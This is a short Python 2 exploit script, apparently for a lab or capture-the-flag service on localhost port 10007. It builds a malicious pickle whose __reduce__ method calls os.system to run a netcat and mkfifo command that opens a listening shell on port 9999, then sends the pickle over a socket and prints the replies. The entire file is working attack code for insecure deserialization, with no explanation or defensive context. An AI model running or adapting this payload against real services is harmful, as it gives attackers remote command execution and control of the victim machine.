#!/usr/bin/python

import base64
import os
import pickle
import socket

class Exploit(object):  
    def __reduce__(self):
        return (os.system,(('rm -f /tmp/foo; mkfifo /tmp/foo; nc -lk 9999 0</tmp/foo | /bin/sh 1>/tmp/foo'),))

message = pickle.dumps(Exploit())

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.connect(('127.0.0.1', 10007))
skt.send(message)

while 1:
  response = skt.recv(4096)
  print response
